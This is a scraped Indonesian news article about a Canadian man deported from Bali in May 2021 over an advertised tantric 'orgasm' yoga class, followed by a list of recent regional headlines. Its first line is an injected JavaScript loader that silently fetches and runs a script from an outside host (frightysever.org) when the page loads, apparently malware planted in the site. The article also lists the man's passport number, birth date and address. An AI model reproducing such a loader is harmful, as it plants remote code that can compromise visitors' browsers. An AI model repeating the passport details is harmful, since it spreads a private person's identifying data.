(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Bule Kanada Buka Kelas Yoga Orgasme Diusir dari Bali


KANALKALIMANTAN.COM – Kantor Wilayah Kementerian Hukum dan HAM Bali kembali melakukan pendeportasian terhadap warga negara asing. Tindakan tegas ini dilakukan terhadap pria warga negara Kanada, bernama Christopher Kyle Martin.

Dilansir dari Beritabali.com, Kyle Martin dideportasi mengacu pada Pasal 75 huruf a UU No.6 tahun 2016 tentang Keimigrasian.
Berawal dari viralnya promosi dan informasi di media mainstream maupun media elektronik tentang rencana kegiatan Yoga di Bali bertajuk “Tantric Full Body Orgasm” yang diselenggarakan oleh warga asing.

“Kegiatan yoga ini sangat bertentangan dengan kebudayaan Indonesia khususnya kebudayaan Bali yang memegang teguh adat istiadat dan norma agama. Gubernur Bali memberikan perhatian secara khusus dalam masalah ini dan meminta Kakanwil Kementerian Hukum dan HAM Bali untuk melakukan tindakan tegas kepada orang asing tersebut,” ujar Kepala Kakanwil Kementerian Hukum dan HAM Bali, Jamaruli Manihuruk dalam keterangan persnya, Minggu (9/5/2021).

Baca juga: Zakat di Wilayah Coblosan Ulang, Bawaslu Kalsel Diminta Bertindak Konkret

Dari hasil penyidikan, pria kelahiran Winnipeg, 12 November 1983 itu berhasil diamankan petugas di Uluwatu Village House Gg. Rarud No 4 Pecatu, Badung. Dalam keterangannya mengakui bahwa acara Yoga Tantric Full Body Orgasm atau kelas orgasme sudah lama diiklankan dan lupa dihapus.

Acara Yoga tersebut, kata Kyle rencananya akan diselenggarakan pada tahun 2020 di Karma House of Tattoos Jalan Penestanan No 8 Ubud Bali, tetapi ditunda hingga tahun 2021 karena yang bersangkutan tidak memiliki sertifikat sebagai instruktur Yoga dan tidak memiliki ijin kerja.

“Yang bersangkutan menjelaskan bahwa yoga ini tidak memiliki kandungan seksualitas dikarenakan berbeda dengan genital orgasm dan lebih banyak mempelajari tehnik pernafasan,” jelasnya

Untuk mengikuti yoga ini peserta diminta untuk membayar 20 euro sudah termasuk membayar sewa tempat dan makanan pada saat acara berlangsung.

“Selama di Indonesia, WNA ini hanya menggunakan ijin tinggal kunjungan,” imbuh Jamaruli.

Dari kesimpulan hasil penyidikan, bahwa pemilik No Paspor : HN706178 dinyatakan selama berada di Indonesia khususnya Bali tidak menghormati adat istiadat serta budaya Bali dan sesuai dengan pasal 75 huruf a UU No 6 tahun 2016 tentang Keimigrasian.

Baca juga: PLN Kalselteng Perkuat Keandalan Jaringan Jelang Idul Fitri 1442 H

Dan selanjutnya, telah dilakukan pendeportasian, Minggu 9 Mei 2021 pukul 15.20 Wita direncanakan tiba di Soekarno Hatta pada pukul 16.50 WIB kemudian melanjutkan Penerbangan dari Jakarta-Doha-Kanada menggunakan penerbangan Qatar Airways pada Hari Senin Dini Hari pukul 01.00 Wita.

Kembali ditegaskannya, sesuai arahan Gubernur Bali menghimbau masyarakat di seluruh wilayah Bali, para pelaku usaha pariwisata, tokoh masyarakat dan komponen masyarakat lainnya, agar proaktif memantau dan melaporkan berbagai jenis praktik yang dilakukan oleh warga negara asing dan warga lainnya kepada pihak berwenang atau memuat di media sosial supaya bisa diambil tindakan. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Sekda HSU Sambut Tim Wasev TMMD ke-120

KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More

50 menit ago

Seleksi Wawancara Panwascam Empat Kecamatan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More

57 menit ago

Satgas TMMD-Warga Desa Sungai Karias Keroyokan Hingga Malam

KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More

1 jam ago

Bangunan Liar di Atas Sungai Dibongkar Satpol PP Banjarmasin

Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More

1 jam ago

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

7 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

17 jam ago

This website uses cookies.